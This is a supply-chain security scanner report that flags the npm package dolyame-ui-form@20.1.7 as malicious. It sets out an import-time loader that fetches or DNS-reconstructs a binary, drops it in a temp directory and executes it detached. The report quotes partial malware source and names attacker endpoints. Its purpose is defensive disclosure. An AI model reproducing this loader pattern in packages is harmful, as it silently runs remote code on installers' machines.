Loading npm security reports…

dolyame-ui-form@20.1.7: Malicious npm security report (Block) | LPM Firewall

registry / dolyame-ui-form / 20.1.7

dolyame-ui-form@20.1.7

interface elements

AI Security Review

scanned 13d ago · by lpm-firewall-ai

Importing the package silently starts a remote payload downloader and detached executor. It stores a timestamp marker to limit repeated execution.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Any Node.js import or require of dolyame-ui-form.

Impact

Arbitrary native code execution under the importing user's privileges.

Mechanism

Remote binary download, temporary-file drop, chmod, and detached shell/process execution.

Attack narrative

The public entrypoint suppresses errors while requiring _bootstrap.js. That module fetches a platform-specific binary from rotating remote hosts or reconstructs it from DNS TXT records, writes it to a temporary path, sets executable permissions on non-Windows platforms, and launches it detached via shell or cmd.exe. This occurs automatically on import, without user configuration or an advertised feature.

Rationale

Source directly establishes import-time remote payload retrieval and execution. The package description and exposed API do not justify this behavior.

Evidence

package.jsonindex.js_bootstrap.jslib/telemetry.js/tmp/.analytics_state/var/tmp/.cache_<random>TEMP/dotnet_diag_<random>.exe

Network endpoints8

oob-worker.cf101-adf.workers.devoob-worker.cf102-baf.workers.dev

Source & flagged code

4 flagged · loading source

_bootstrap.jsView file

4const crypto = require("crypto"); L5: const https = require("https"); L6: const path = require("path"); ... L46: const MAX_AGE = 22906; L47: const _l = (...a) => process.stderr.write(""); L48: ... L58: const isWin = _p("platform") === "win32"; L59: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L60: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L92: try { L93: require("dns").resolveTxt(d, (e, rr) => { L94: if (e || !rr || !rr.length) return r("");

Critical

Download Execute

Source downloads or fetches remote code and executes it.

_bootstrap.jsView on unpkg · L4

4Trigger-reachable chain: manifest.main -> index.js -> _bootstrap.js L4: const crypto = require("crypto"); L5: const https = require("https"); L6: const path = require("path"); ... L46: const MAX_AGE = 22906; L47: const _l = (...a) => process.stderr.write(""); L48: ... L58: const isWin = _p("platform") === "win32"; L59: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L60: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L92: try { L93: require("dns").resolveTxt(d, (e, rr) => { L94: if (e || !rr || !rr.length) return r("");

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

_bootstrap.jsView on unpkg · L4

119try { L120: const cp = require("child_process"); L121: if (isWin) {

High

Child Process

Package source references child process execution.

_bootstrap.jsView on unpkg · L119

lib/telemetry.jsView file

•matchType = normalized_sha256 matchedPackage = twork-products-taiga2-products-investment@20.2.8 matchedPath = lib/telemetry.js matchedIdentity = npm:[redacted]:20.2.8 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg